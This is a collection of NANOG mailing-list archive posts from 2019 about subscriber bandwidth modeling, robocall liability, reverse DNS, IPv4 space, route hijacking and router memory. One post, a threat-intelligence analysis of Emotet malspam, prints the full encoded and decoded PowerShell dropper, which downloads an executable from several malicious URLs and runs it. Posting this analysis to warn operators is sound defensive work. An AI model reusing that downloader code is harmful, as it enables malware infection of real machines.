> edge (uplink & peer), and colo (for CDN caches too!), for which scale+growth 
> is quite another.
> 
> And yeah, Jim, overall, things have stayed the same. There are just the 
> nuances added with caches, gaming, OTT streaming, some IoT (like always-on 
> home security cams) plus better tools now for network management and network 
> analysis.
> 
> Louie
> Google Fiber.
> 
> 
> 
> On Tue, Apr 2, 2019 at 12:00 PM Jared Mauch  wrote:
> 
> 
> > On Apr 2, 2019, at 2:35 PM, jim deleskie  wrote:
> > 
> > +1 on this. its been more than 10 years since I've been responsible for a 
> > broadband network but have friends that still play in that world and do 
> > some very good work on making sure their models are very well managed, with 
> > more math than I ever bothered with, That being said, If had used the 
> > methods I'd had used back in the 90's they would have fully predicted per 
> > sub growth including all the FB/YoutubeNetflix traffic we have today. The 
> > "rapid" growth we say in the 90's and the 2000' and even this decade are 
> > all magically the same curve, we'd just further up the incline, the 
> > question is will it continue another 10+ years, where the growth rate is 
> > nearing straight up :)
> 
> 
> I think sometimes folks have the challenge with how to deal with aggregate 
> scale and growth vs what happens in a pure linear model with subscribers.
> 
> The first 75 users look a lot different than the next 900.  You get different 
> population scale and average usage.
> 
> I could roughly estimate some high numbers for population of earth internet 
> usage at peak for maximum, but in most cases if you have a 1G connection you 
> can support 500-800 subscribers these days.  Ideally you can get a 10G link 
> for a reasonable price.  Your scale looks different as well as you can work 
> with “the content guys” once you get far enough.
> 
> Thursdays are still the peak because date night is still generally Friday.
> 
> - Jared



Re: modeling residential subscriber bandwidth demand

2019-04-02 Thread Paul Nash
Mixed residential (ages 25 - 75, 1 - 6 people per unit), group who worked 
together to keep costs down.  Works well for them.  Friday nights we get to 
about 85% utilization (Netflix), other than that, usually sits between 25 - 45%

paul

> On Apr 2, 2019, at 5:44 PM, Jared Mauch  wrote:
> 
> I would say this is perhaps atypical but may depend on the customer type(s).
> 
> If they’re residential and use OTT data then sure.  If it’s SMB you’re likely 
> in better shape.
> 
> - Jared
> 
> 
>> On Apr 2, 2019, at 5:21 PM, Paul Nash  wrote:
>> 
>> FWIW, I have a 250 subscribers sitting on a 100M fiber into Torix.  I have 
>> had no complains about speed in 4 1/2 years.  I have been planning to bump 
>> them to 1G for the last 4 years, but there is currently no economic 
>> justification.
>> 
>>  paul
>> 
>> 
>>> On Apr 2, 2019, at 3:21 PM, Louie Lee via NANOG  wrote:
>>> 
>>> Certainly.
>>> 
>>> Projecting demand is one thing. Figuring out what to buy for your backbone, 
>>> edge (uplink & peer), and colo (for CDN caches too!), for which 
>>> scale+growth is quite another.
>>> 
>>> And yeah, Jim, overall, things have stayed the same. There are just the 
>>> nuances added with caches, gaming, OTT streaming, some IoT (like always-on 
>>> home security cams) plus better tools now for network management and 
>>> network analysis.
>>> 
>>> Louie
>>> Google Fiber.
>>> 
>>> 
>>> 
>>> On Tue, Apr 2, 2019 at 12:00 PM Jared Mauch  wrote:
>>> 
>>> 
>>>> On Apr 2, 2019, at 2:35 PM, jim deleskie  wrote:
>>>> 
>>>> +1 on this. its been more than 10 years since I've been responsible for a 
>>>> broadband network but have friends that still play in that world and do 
>>>> some very good work on making sure their models are very well managed, 
>>>> with more math than I ever bothered with, That being said, If had used the 
>>>> methods I'd had used back in the 90's they would have fully predicted per 
>>>> sub growth including all the FB/YoutubeNetflix traffic we have today. The 
>>>> "rapid" growth we say in the 90's and the 2000' and even this decade are 
>>>> all magically the same curve, we'd just further up the incline, the 
>>>> question is will it continue another 10+ years, where the growth rate is 
>>>> nearing straight up :)
>>> 
>>> 
>>> I think sometimes folks have the challenge with how to deal with aggregate 
>>> scale and growth vs what happens in a pure linear model with subscribers.
>>> 
>>> The first 75 users look a lot different than the next 900.  You get 
>>> different population scale and average usage.
>>> 
>>> I could roughly estimate some high numbers for population of earth internet 
>>> usage at peak for maximum, but in most cases if you have a 1G connection 
>>> you can support 500-800 subscribers these days.  Ideally you can get a 10G 
>>> link for a reasonable price.  Your scale looks different as well as you can 
>>> work with “the content guys” once you get far enough.
>>> 
>>> Thursdays are still the peak because date night is still generally Friday.
>>> 
>>> - Jared
> 



Re: modeling residential subscriber bandwidth demand

2019-04-03 Thread Paul Nash
I am also surprised.  However, we have had a total of 5 complaints about 
network speed over a 3 year period.  

One possible reason is that because they own the infrastructure collectively 
and pay for the bandwidth directly (I just manage everything for them), they 
are prepared to put up with the odd slowdown to avoid the expense of an 
upgrade. 

Our original plan was to start with the 100M circuit so that they could make 
sure that everything would work, that we had reliable wifi delivery (about 95% 
of users only use a wifi connection to their computers/iDevices/whatever), and 
then to upgrade to 1G as soon as the dust started settling.  They have 
postponed the upgrade for 3 years now, with no complaints.

I guess that if they will be directly impacted by higher bandwidth costs, some 
people can make do with slower service (or something).

paul 

> On Apr 3, 2019, at 8:41 AM, Darin Steffl  wrote:
> 
> Paul,
> 
> I have hard time seeing how you aren't maxing out that circuit. We see about 
> 2.3 mbps average per customer at peak with a primarily residential user base. 
> That would about 575 mbps average at peak for 250 users on our network so how 
> do we use 575 but you say your users don't even top 100 mbps at peak? It 
> doesn't make sense that our customers use 6 times as much bandwidth at peak 
> than yours do. 
> 
> We're a rural and small town mix in Minnesota, no urban areas in our 
> coverage. 90% of our customers are on a plan 22 mbps or less and the other 
> 10% are on a 100 mbps plan but their average usage isn't really much higher.
> 
> 
> Enterprise environments can easily handle many more users on a 100 meg 
> circuit because they aren't typically streaming video like they would be at 
> home. Residential will always be much higher usage per person than most 
> enterprise users. 
> 
> On Wed, Apr 3, 2019, 2:46 AM Valdis Klētnieks  wrote:
> On Tue, 02 Apr 2019 23:53:06 -0700, Ben Cannon said:
> > A 100/100 enterprise connection can easily support hundreds of desktop 
> > users 
> > if not more.  It’s a lot of bandwidth even today.
> 
> And what happens when a significant fraction of those users fire up Netflix 
> with
> an HD stream?
> 
> We're discussing residential not corporate connections, I thought
> 



Re: OffTopic: Telecom Fraud

2019-04-23 Thread Paul Timmins
I guarantee you that if carriers were made civilly or criminally liable 
for allowing robodialers to operate on their network, this sort of issue 
would end practically overnight. Robodialer calling patterns are 
obvious, and I'd imagine any tech could give you a criteria to search 
for in the CDR streams to identify them and shut them off in hours.


Problem is, they're lucrative to provide services to, and there is 
immunity on the carrier's part to these sorts of issues. SHAKEN/STIR 
nonwithstanding (I don't think we'll see widespread adoption of this 
within a decade, even with a government mandate as there's still a 
massive embedded base of switches that can't support it and never will).


It may be incredibly frustrating, but there's plenty of money to be made 
in prolonging the problem.


-Paul

On 4/23/19 3:55 PM, Dovid Bender wrote:

Hi All,

I am wondering if a bit of public shaming may help. I every so often 
get calls from the "verizon wireless fraud prevention dept". It's 
scammers calling me (and others) telling them there was fraud on their 
account. This gets people worked up and fooled into giving out data 
that they normally wouldn't. This allows the fraudsters to then order 
devices under the victims name. They spoof their caller ID to that of 
Verizons. I understand there is currently no fix (though lets hope 
that SHAKEN/STIR fixes it one day). but at the very least why can't 
Verizon drop these calls at their edge. If they see the B-Number as 
being their client and the A number being theirs but coming from 
elsewhere why can't they just drop the call?


If anyone has any insight I would love to hear it.

TIA.

Regards,

Dovid



Re: Packetstream - how does this not violate just about every provider's ToS?

2019-04-24 Thread Paul Ferguson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On 4/24/2019 10:07 PM, Anne P. Mitchell, Esq. wrote:

> Just ran into packetstream.io:
> 
> "Sell Your Unused Bandwidth
> 
> Earn passive income while you sleep
> 

What could possibly go wrong?  :-)

- - ferg

- -- 
Paul Ferguson
Principal, Threat Intelligence
Gigamon
Seattle, WA  USA
-BEGIN PGP SIGNATURE-
Version: GnuPG v2

iF4EAREIAAYFAlzBQlEACgkQKJasdVTchbJqVwD/V3h5ZU9IyQEZq5I8aGBCtB+g
hp19rjVbr8qtRPxibRoA/jsZYEIKdWNff+O3cVFnLSTNt4YuzLU5tgUPME4t9QiL
=B089
-END PGP SIGNATURE-


Re: looking for hostname router identifier validation

2019-04-29 Thread Paul Ebersman
ekuhnke> I would caution against putting much faith in the validity of
ekuhnke> geolocation or site ID by reverse DNS PTR records. There are a
ekuhnke> vast number of unmaintained, ancient, stale, erroneous or
ekuhnke> wildly wrong PTR records out there. I can name at least a half
ekuhnke> dozen ISPs that have absorbed other ASes, some of those which
ekuhnke> also acquired other ASes earlier in their history, forming a
ekuhnke> turducken of obsolete PTR records that has things with ISP
ekuhnke> domain names last in use in the year 2002.

That's because the version of perl required to run the perl script that
creates the ascii text PTR zone file is 4.x. perhaps? :)

bryan> I still see references to UUNet in some reverse PTRs.

bryan> So, uh, yeah.

The uu.net PTRs should mostly have been service machines, like
ns.uu.net, auth00.ns.uu.net (which horrifyingly do still
resolve). Routers should have been in alter.net, which I do still see in
traceroutes.


Re: looking for hostname router identifier validation

2019-04-29 Thread Paul Ebersman
lg.hadron> And 666 is Nero Caesar :-)

surfer> It's the US Army.

Same same... :)


Re: looking for hostname router identifier validation

2019-05-01 Thread Paul Ebersman
lhc> How much did it cost? :-)

valdis> I'm willing to guess US$6digits/mo. 5 digits if you qualified for
valdis> the quantity discount. :)

We used to charge $2500 install and $2500/month for a T1 with agreement
to not share or resell. It was something like double that if you wanted
to resell? We sold a lot more 56k circuits.

I'm going by memory here, which isn't as reliable as it once was. :)


29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members]

2019-05-29 Thread Paul Ferguson
*Just an FYI, the obfuscated URLs and IPs below are malicious.*

This is apparently (?) part of a wave of spoofed malspams impersonating 
messages with ‘weaponized' attachments sent to the NANOG (North American 
Network Operators Group) mailing list. Background:

https://mailman.nanog.org/pipermail/nanog/2019-May/101140.html

Details:

Date: Wed, 29 May 2019 10:03:04 -0500
From: "NANOG" 
To: "Paul Ferguson" 
Subject: Mykolab Ref Id: I32560
X-Authenticated-Sender: s214.panelboxmanager.com
Return-Path: 
Attachment: "ATTACHMENT 654860 I32560.doc"

MD5:49fbc31d5e46d83c4741d64a1c268e8d
SHA-1:  62b00133e2a78063b76a473a9c0b42a00b3042b8
SHA256: 8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5
File Type:  MS Word Document
Magic   CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 
1252, Title: North Dakota, Subject: Maine, Author: Darrell Hammes, Comments: 
Tunisia policy, Template: Normal.dotm, Revision Number: 1, Name of Creating 
Application: Microsoft Office Word, Create Time/Date: Tue May 28 12:55:00 2019, 
Last Saved Time/Date: Tue May 28 12:55:00 2019, Number of Pages: 1, Number of 
Words: 15, Number of Characters: 90, Security: 0
SSDeep: 
3072:t1b77HUUUTkOQePu5U8qSp8ALPmiuVvbIF/j9G5:Pb77HUUUT52VP61Z
TRiD:   Microsoft Word document (54.2%)
Microsoft Word document (old ver.) (32.2%)
Generic OLE2 / Multistream Compound File (13.5%)
File Size: 136.38 KB

Analysis:
VT: 
https://www.virustotal.com/#/file/8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5/detection
HA: 
https://www.hybrid-analysis.com/sample/8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5/5ceea3ee02883814847b23d1
Joe Sandbox: https://www.joesandbox.com/analysis/136644/0/executive
app.anny.run: https://app.any.run/tasks/18d747ef-42d6-40e8-b496-6eb54c5f5dac

Embedded Powershell script does:

 WINWORD.EXE /n "C:\ATTACHMENT654860I32560.doc" (PID: 3256)
powershell.exe powershell -nop -e 
JABDAGwASQBFAFkAawAyAD0AJwBhAEoATgBNAEsARgAzAGwAJwA7ACQAUgB3AFkASwBDAHYATwAgAD0AIAAnADkAMwA2ACcAOwAkAFEAQgBWAGEAZAA5AD0AJwBMADgASABEAHoATgAnADsAJAB3AFgAcABiAFYAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgB3AFkASwBDAHYATwArACcALgBlAHgAZQAnADsAJABHAEEAaQB6AHoANwA9ACcARABPAEkAbwBTAFQAJwA7ACQAVABiADkARQB1ADIASQByAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdABgAC4AVwBlAEIAQwBgAEwAYABJAEUATgB0ADsAJABrAHUAVwBfAG8ANwBTADUAPQAnAGgAdAB0AHAAOgAvAC8AYwBlAG8ALgBjAGEAbABjAHUAcwAuAGMAbwBtAC8AcABvAHMAdABuAGUAdwBvAC8AUgB3AGgAdgBPAGwAWgBJAHMALwBAAGgAdAB0AHAAOgAvAC8AbABhAHMAdABtAGkAbgB1AHQAZQBsAG8AbABsAGkAcABvAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGEARQBRAGwAcABwAGQAbABmAG8ALwBAAGgAdAB0AHAAOgAvAC8AawBhAHMAaABtAGkAcgBoAGEAYwBrAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AFEAWABoAG8AcgB0AFMAZgBKAC8AQABoAHQAdABwADoALwAvAG8AbQBlAGcAYQBjAG8AbgBzAHUAbAB0AG8AcgBpAGEAYwBvAG4AdABhAGIAaQBsAC4AYwBvAG0ALgBiAHIALwBzAGkAdABlAC8AdwBBAEsAawBiAE8ARQB3AHkALwBAAGgAdAB0AHAAOgAvAC8AbgBvAHQAdABzAHAAYwByAGUAcABhAGkAcgAuAGMAbwAuAHUAawAvAG4AeQBlAC8AaABLAFoAbABEAHYAUABmAHkALwAnAC4AUwBQAEwAaQBUACgAJwBAACcAKQA7ACQAbwA3AFYAQgBRAHQAbABiAD0AJwBPADEAWQBHAGIAMABwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADMAUgB2ADMAagB2ACAAaQBuACAAJABrAHUAVwBfAG8ANwBTADUAKQB7AHQAcgB5AHsAJABUAGIAOQBFAHUAMgBJAHIALgBEAG8AdwBOAEwATwBhAGQARgBJAEwARQAoACQAegAzAFIAdgAzAGoAdgAsACAAJAB3AFgAcABiAFYAcAApADsAJABpAFkAcABPAFkAYwBMAFYAPQAnAFgAMAA2AGoAUwBSADIANAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHcAWABwAGIAVgBwACkALgBsAEUAbgBnAFQASAAgAC0AZwBlACAAMgA5ADcAOAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQBSAFQAKAAkAHcAWABwAGIAVgBwACkAOwAkAFYASABUAE8AbwB1AHcAPQAnAEkAXwBXAGsAMgBiAEgAcgAnADsAYgByAGUAYQBrADsAJABFAFgAWABtAEIAbQBYAD0AJwByAGsARgBLAEMAVAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAEEAdQB0AGEAWQA9ACcAWQBuAFYAcQAzAEoASgAnAA==
 (PID: 2624,Additional Context:
$ClIEYk2='aJNMKF3l';$RwYKCvO = 
'936';$QBVad9='L8HDzN';$wXpbVp=$env:userprofile+'\'+$RwYKCvO+'.exe';$GAizz7='DOIoST';$Tb9Eu2Ir=.('new-'+'obj'+'ect')
 
Net`.WeBC`L`IENt;$kuW_o7S5='http://ceo.calcus[.]com/postnewo/RwhvOlZIs/@http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/@http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/@http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/@http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/'.SPLiT('@');$o7VBQtlb='O1YGb0p';foreach($z3Rv3jv
 in $kuW_o7S5){try{$Tb9Eu2Ir.DowNLOadFILE($z3Rv3jv, 
$wXpbVp);$iYpOYcLV='X06jSR24';If ((&('Get-'+'Ite'+'m') $wXpbVp).lEngTH -ge 
29780) 
{[Diagnostics.Process]::START($wXpbVp);$VHTOouw='I_Wk2bHr';break;$EXXmBmX='rkFKCT'}}catch{}}$SAutaY='YnVq3JJ')
936.exe (PID: 2888) 24/72
936.exe --26d066e0 (PID: 2932) 24/72
enablerouting.exe (PID: 272)

'Payload quintet'

Re: 29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members]

2019-05-29 Thread Paul Ferguson


> On May 29, 2019, at 9:14 AM, Niels Bakker  wrote:
> 
> * fergdawgs...@mykolab.com (Paul Ferguson) [Wed 29 May 2019, 18:04 CEST]:
>> This is apparently (?) part of a wave of spoofed malspams impersonating 
>> messages with ‘weaponized' attachments sent to the NANOG (North American 
>> Network Operators Group) mailing list.
> 
> They're not sent to the list, they're sent directly to posted who have 
> previously posted to the list.  NANOG have no way to stop these.
> 
> 
>   -- Niels.


Understood, but I figured folks might like to know what they might be dealing 
with.

Cheers,

- ferg


—
Paul Ferguson
Principal, Threat Intelligence
Gigamon
Seattle, Washington, USA






signature.asc
Description: Message signed with OpenPGP


Re: Spamming of NANOG list members

2019-05-31 Thread Paul Ferguson
On 5/31/2019 8:05 PM, Richard wrote:

> On 5/31/19 8:07 PM, Niels Bakker wrote:
>> * br...@shout.net (Bryan Holloway) [Sat 01 Jun 2019, 01:54 CEST]:
>>> Anybody else noticed a significant uptick in these e-mails?
>>>
>>> When I first saw this thread, I hadn't seen any. A couple days later,
>>> I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?)
>>
>> Yes.  It's pretty annoying.  And somebody seems to be burning through
>> a lot of stolen credentials.  I wonder what the success rate is...
>>
>>
>> -- Niels.
>>
>>
>     I am getting several a day as well as ugly MS Word based trojan.
> 
>     They come to me from all over the world with the subject line:
> 
>     "NANOG Payment Remittance Advice"
> 
>     I agree with Niels, someone or some spamming outfit is burning
> 
>     through quite a bit of stolen credentials.
> 
>     Richard Golodner
> 
>     Infratection
> 


It's Emotet (again).

Cheers,

- ferg


-- 
Paul Ferguson
Principal, Threat Intelligence
Gigamon
Seattle, WA  USA


Re: QoS for Office365

2019-07-09 Thread Paul Thornton

On 09/07/2019 16:27, Jay Ford wrote:

On Tue, 9 Jul 2019, Mark Tinka wrote:

On 9/Jul/19 16:18, Ross Tajvar wrote:

I think the difficulty lies in appropriately marking the traffic. Like
Joe said, the IPs are always changing.


Does anyone know if they are reasonably static in an Express Route
scenario?


At least sometimes M$ says that Express Route is just for Azure, not for
Orifice 365.  It's even possible that using Express Route for O365 could
be worse due to undermining/bypassing some of the O365 availability
mechanisms.


I've just been involved in turning up a new customer who ordered Express 
Route specifically for O365 use - they have no Azure presence.


After much discussions between us, the customer and MS it transpired 
that they (MS) really didn't want to support using Express Routes and 
O365 - there had been many instances of routing problems and people not 
really understanding what the end result was going to look like. 
Apologies for being vague here, but I wasn't directly in the loop - 
except to say that MS dissuaded the customer from this and told them to 
just use their Internet connection instead.


The MS techs told us that this was their preferred option now.  A year 
or two back, they wanted everyone to access O365 via Express Route...


Paul.


Re: SHAKEN/STIR Robocall Summit - July 11 2019 at FCC

2019-07-11 Thread Paul Timmins
Chris it would be trivial for this to be fixed, nearly overnight, by 
creating some liability on the part of carriers for illicit use of 
caller ID data on behalf of their customers.


But the carriers don't want that, so now we have to create tons of 
technical half solutions to solve a problem that would be neatly solved 
by carriers.



On 7/11/19 12:09 AM, Christopher Morrow wrote:

There seem like a bunch of pretty simple 'correlations' one could
make, that actually look a heck of a lot like 'netflow/log analysis
for ddos detection':
 o is this trunk sourcing calls to 'too many' of my subs in period-of-time-X
 o is this trunk sourcing calls from a low distribution of ANI but
a different distribution of CallerID
 o is this trunk sourcing calls from unmatched (as a percent of
total) ANI/CallerID

I would think you could make similar correlations across the
destinations on your phone-network:
 o Is there one ANI or CallerID talking to 'all' (a bunch, more
than X of type Y customer end point) of my endpoints?
 o are there implausible callerid being used? (lots of 'NPA-NXX
matches destination, yet from a very different geography?)


Re: SHAKEN/STIR Robocall Summit - July 11 2019 at FCC

2019-07-11 Thread Paul Timmins
Pretty simply - Sending caller ID to commit fraud. It's literally 
already illegal. The legislature has already defined it for us, even.


47 USC 227

https://www.law.cornell.edu/uscode/text/47/227

(B)
to initiate any telephone call to any residential telephone line using 
an artificial or prerecorded voice to deliver a message without the 
prior express consent of the called party, unless the call is initiated 
for emergency purposes, is made solely pursuant to the collection of a 
debt owed to or guaranteed by the United States 
<https://www.law.cornell.edu/uscode/text/47/227>, or is exempted by rule 
or order by theCommission 
<https://www.law.cornell.edu/uscode/text/47/227>under paragraph (2)(B);


(e)(1)In general

It shall be unlawful for any person 
<https://www.law.cornell.edu/uscode/text/47/227> within the United 
States <https://www.law.cornell.edu/uscode/text/47/227>, in connection 
with any telecommunications service 
<https://www.law.cornell.edu/uscode/text/47/227> orIP-enabled voice 
service, <https://www.law.cornell.edu/uscode/text/47/227> to cause 
anycaller identification service 
<https://www.law.cornell.edu/uscode/text/47/227>to knowingly transmit 
misleading or inaccuratecaller identification information 
<https://www.law.cornell.edu/uscode/text/47/227>with the intent to 
defraud, cause harm, or wrongfully obtain anything of value, unless such 
transmission is exempted pursuant to paragraph (3)(B).


All I'm asking is to make the carrier liable if it should have been 
obvious to a carrier using basic traffic analysis that the service was a 
robocaller (low answer rates combined with tons of source numbers, 
especially situations where the source and destination number share the 
first 6 digits) that the carrier be liable for failing to look into it.


Carriers already look at things like short duration in order to assess 
higher charges, and already investigate call center traffic. If they 
then look at the caller ID and it looks "suspect", and the customer then 
is contacted and barred from sending arbitrary caller ID until they can 
verify they own the numbers they're calling from, then they're good to go.


If the carrier continues to just ensure that call center traffic is a 
revenue stream they can bill higher without making sure they're 
outpulsing valid numbers, then they should absorb the social costs of 
what's going on.


Let's not get this confused - this isn't about customer PBXen outpulsing 
forwarded calls when they do it, it's about people shooting millions of 
calls a month, the carrier hitting them with short duration charges, 
making more money, and having zero incentive to question the arrangement.


-Paul

On 7/11/19 1:18 PM, Christopher Morrow wrote:

'illicit use of caller id' - how is caller-id being illicitly used though?
I don't think it's against the law to say a different 'callerid' in the call
  session, practically every actual call center does this, right?


Re: SHAKEN/STIR Robocall Summit - July 11 2019 at FCC

2019-07-11 Thread Paul Timmins
Not really. For reasons already cited by Keith Medcalf in an offshoot of 
the thread, and because the real world implication of that liability 
transfer would be telecom carriers undertaking risk management and 
looking at their products and pricing and deciding whether certain 
customers should be allowed to send arbitrary caller ID. What would 
likely happen is that small customers would be allowed to send whatever, 
like today. Call center customers (they are already identifying these 
because most big carriers have different rates for callcenter activity 
because of the network load it puts on them) would likely be restricted 
to a subset of numbers, and the biggest, long term call centers would 
probably be allowed to send whatever they want, but with a contract that 
compels them to indemnify the carrier against loss (which would only 
work if the call center was well capitalized enough to make that 
commitment, because the carrier would NOT want to be stuck with the bill 
if they couldn't pay up).


It may sound burdensome, but speaking as an employee of a carrier who is 
in a position to see how things work on the business AND technical side 
(who I do not speak for, in this context) - we're already looking at 
what our customer's intended use is, and whether they're asking for a 
product they can reasonably afford, we run their business credit and if 
they aren't clean enough, we request prepayment for our services, or 
similar.


This would just be one more risk we'd take into account.

-Paul

On 7/11/19 3:04 PM, Peter Beckman wrote:

"with the intent to defraud, cause harm, or wrongfully obtain anything of
value"

Kind of a huge hole that, unless you record all calls which opens other
liability, is hard to prove.

Beckman

On Thu, 11 Jul 2019, Paul Timmins wrote:

Pretty simply - Sending caller ID to commit fraud. It's literally 
already illegal. The legislature has already defined it for us, even.


47 USC 227

https://www.law.cornell.edu/uscode/text/47/227

(B)
to initiate any telephone call to any residential telephone line 
using an artificial or prerecorded voice to deliver a message without 
the prior express consent of the called party, unless the call is 
initiated for emergency purposes, is made solely pursuant to the 
collection of a debt owed to or guaranteed by the United States 
<https://www.law.cornell.edu/uscode/text/47/227>, or is exempted by 
rule or order by theCommission 
<https://www.law.cornell.edu/uscode/text/47/227>under paragraph (2)(B);


(e)(1)In general

It shall be unlawful for any person 
<https://www.law.cornell.edu/uscode/text/47/227> within the United 
States <https://www.law.cornell.edu/uscode/text/47/227>, in 
connection with any telecommunications service 
<https://www.law.cornell.edu/uscode/text/47/227> orIP-enabled voice 
service, <https://www.law.cornell.edu/uscode/text/47/227> to cause 
anycaller identification service 
<https://www.law.cornell.edu/uscode/text/47/227>to knowingly transmit 
misleading or inaccuratecaller identification information 
<https://www.law.cornell.edu/uscode/text/47/227>with the intent to 
defraud, cause harm, or wrongfully obtain anything of value, unless 
such transmission is exempted pursuant to paragraph (3)(B).


All I'm asking is to make the carrier liable if it should have been 
obvious to a carrier using basic traffic analysis that the service 
was a robocaller (low answer rates combined with tons of source 
numbers, especially situations where the source and destination 
number share the first 6 digits) that the carrier be liable for 
failing to look into it.


Carriers already look at things like short duration in order to 
assess higher charges, and already investigate call center traffic. 
If they then look at the caller ID and it looks "suspect", and the 
customer then is contacted and barred from sending arbitrary caller 
ID until they can verify they own the numbers they're calling from, 
then they're good to go.


If the carrier continues to just ensure that call center traffic is a 
revenue stream they can bill higher without making sure they're 
outpulsing valid numbers, then they should absorb the social costs of 
what's going on.


Let's not get this confused - this isn't about customer PBXen 
outpulsing forwarded calls when they do it, it's about people 
shooting millions of calls a month, the carrier hitting them with 
short duration charges, making more money, and having zero incentive 
to question the arrangement.


-Paul

On 7/11/19 1:18 PM, Christopher Morrow wrote:
'illicit use of caller id' - how is caller-id being illicitly used 
though?
I don't think it's against the law to say a different 'callerid' in 
the call

  session, practically every actual call center does this, right?




--- 


Peter Beckman Internet Guy
beck...@angryox.com http://www.angryox.com/
--- 



Re: 44/8

2019-07-22 Thread Paul Timmins
And after 75 messages, nobody has asked the obvious question. When is 
ARDC going to acquire IPv6 resources on our behalf? Instead being all 
worried about legacy resources we're highly underutilizing.


Ham Radio is supposed to be about pushing the art forward. Let's do that.

-KC8QAY

On 7/22/19 6:17 PM, Fred Baker wrote:

The fundamental reason given, from several sources, was that our experience 
with IPv4 address trading says that no matter how many IPv4 addresses we create 
or recover, we won't obviate the need for a replacement protocol. The reasons 
for that are two: (1) IPv4 isn't forward compatible with anything (if it had a 
TLV or equivalent for the address, we could have simply extended the address), 
and (2) 2^32 is a finite number less than the number of addressable entities in 
the world. Yes, it would be interesting to use Class E as unicast space. The 
instant we make it possible, it will be bought up by companies and countries 
desperate to delay their IPv6 deployment - and we will then, once again, be out 
of IPv4 space.

We even had a guy write five internet drafts about how it is possible to 
enumerate more than 2^n entities with an n bit number.

Speaking for myself, I don't see the point. It doesn't solve anything, and I'm 
not sure it even meaningfully delays anything. The time has come to move to a 
protocol that allows us to enumerate the set of addressable objects without 
losing our minds.


On Jul 22, 2019, at 3:04 PM, William Herrin  wrote:

On Mon, Jul 22, 2019 at 11:56 AM andrew.brant via NANOG  wrote:
Whatever happened to the entire class E block? I know it's reserved for future 
use, but sounds like that future is now given that we've exhausted all existing 
allocations.

The IPv6 loonies killed all IETF proposals to convert it to unicast space. It 
remains reserved/unusable.

Regards,
Bill Herrin


--
William Herrin
b...@herrin.us
https://bill.herrin.us/


Phoenix IX down/gone?

2019-08-02 Thread Paul Emmons
VoIP is up and running but the web site server crashed.  Currently
restoring server.

Voice number 602 688-6414

~Paul


IP Route Hijacking Bad Actor: AS57129/RU-SERVERSGET-KRSK, RU/Optibit LLC

2019-08-25 Thread Paul Ferguson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Howdy,

I'm soliciting any background information, anecdotes, shared
experiences, previous evidence, etc. of bad behavior and/or IP route
hijacking for this 'hijack factory', as I've heard it called privately.

They are actively -- and illegitimately -- announcing prefixes which
are (legitimately) allocated to other organizations, a couple of them
are very large & well-known U.S. healthcare providers.

I'd also be interesting in hearing suggestion on the course of action
one of these organizations might take to make this stop

Thanks in advance,

- - ferg


- -- 
Paul Ferguson
Seattle, WA  USA
-BEGIN PGP SIGNATURE-
Version: GnuPG v2

iF4EAREIAAYFAl1i4CEACgkQKJasdVTchbJVHAEA0s7Ej73VPQth2Rho4xwTnv8e
qQFJ6SB+qulM1HFHoUgA/RXAL1BFJC3wq9GsXYJ4sqLSrje/gPm1JzVMeEJMTGlQ
=r3mY
-END PGP SIGNATURE-


Re: Weekly Routing Table Report

2019-08-30 Thread Paul Ebersman
web> "WTF, PEOPLE??? CAN'T ANYONE AGGREGATE ANYMORE???"

surfer> Is that like the NANOG version of "get off my lawn"? :)

Lawns? You had lawns? :)

BGP when under 2k-ish and CLNP for sins in past lives...


Re: BGP Enabled transit in Chicago (River North) and equipment recommendation

2019-09-04 Thread Paul Timmins
They are obviously not running full tables on their 3640. I'd imagine a 
raspberry pi would have more BGP capability and throughput than a 3640, 
though I don't recommend doing that even as a joke. But an ERR would be 
fine if they're expecting nothing more than a slightly faster 3640 with 
maybe some extra features.


On 9/3/19 3:54 PM, Florian Brandstetter via NANOG wrote:
Ubiquiti's EdgeRouter Lite is equipped with 512 MiB of DDR2 memory, of 
which after startup, roughly 491 MiB can be utilized. 119 MiB of the 
remaining memory are allocated by the base of the router already, 
which leaves you with a remainder of 372 MiB memory. Memory usage 
depends on the architecture for objects, for example there's a large 
difference between x86 and x86_64, since on x86_64, the compiler will 
generally use 64bit boundaries to be faster; the ERL runs on a MIPS64 
architecture, which will have a similar trade-off. To get to the 
point, let's have a quick look at the components using memory: bgpd, 
zebra, kernel. Roughly 180 MiB of memory are required to keep a single 
full table in bgpd alone, leaving you with 192 MiB of free memory. 
Accounting further, zebra will eat at least another 100 MiB for 
exporting the BGP RIB to the Kernel (FIB), leaving you with 100 MiB. 
At this point, you have a mere 92 MiB left for fitting the routes into 
the kernel, and to leave room for RX buffers on sockets.


I don't see full tables happening from a memory perspective on the 
EdgeRouter Lite, you would want to look at something with at least 2 
GiB of memory to keep the whole system running smoothly, and when 
using Quagga and Zebra, that's still aimed rather low. FRRouting at 
this point uses 2 GiB for 4 full tables on an x86 system, without any 
magic attached.


Having kept it unmentioned, the EdgeRouter Lite has a dual-core with 
